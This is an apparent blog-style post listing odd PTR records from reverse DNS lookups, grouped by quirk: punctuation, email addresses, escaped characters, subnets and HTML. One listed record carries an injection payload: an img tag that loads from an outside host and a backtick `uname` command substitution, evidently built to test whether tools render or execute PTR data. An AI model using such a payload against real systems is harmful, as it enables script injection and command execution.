Unexpected PTR records in reverse DNS lookups

Reverse DNS resolution is a technique to determine the domain name associated with an IP address. It uses PTR records with the in-addr.arpa domain for IPv4 addresses and in6.arpa for IPv6. For example, the 8.8.4.4 address has a PTR record for the 4.4.8.8.in-addr.arpa domain which resolves to dns.google. Some of these records might contain surprising information…

Commas, semicolons, spaces and quotes

103.38.120.189  "vl1932.switch01.ntl02.privatecloudco.com".
152.40.31.2     faith's roku.uncg.edu.
185.146.101.1   politikere.harstad,kommune.no.
219.88.190.5    netflix-cdn-snz-5,broadband-sparknz.global-gateway.net.nz.
204.186.235.13  gw-Te-0-0-0-14-877-8203;millvilleasd.blm.ptd.net.
209.159.170.221 rvs-rt0004_ge-6-2 .intelsatone.net.

Email addresses

43.231.53.4 43-231-53-4.dynamic.STARITSERVICES.geocitysolution@gmail.com.
193.10.50.3 H50-003@public.hhs.se.

HTML

81.15.233.5 f"><img/src=//ropchain.org/csp/ip.gif>f"f`uname`.x.ropchain.org.

Special characters

In the ASCII encoding, 0x0d is the carriage return character, and 0x5c is the \ character.

195.42.145.11  telma_\x5c(telecom_malagasy\x5c).equinix-ix.fr.
207.174.247.30 207.174.247.30.fwlrvl-mi.surfairwireless.net\x0d.

Subnets

59.93.61.6      static.hyderabad.bb.59.93.61.6/24.bsnl.in.
218.148.105.158 static.ill.218.248.105.158/24.bsnl.in.

Others

152.179.154.26 &#10.154.179.152.in-addr.arpa.
188.225.73.4   ??????-??????.??.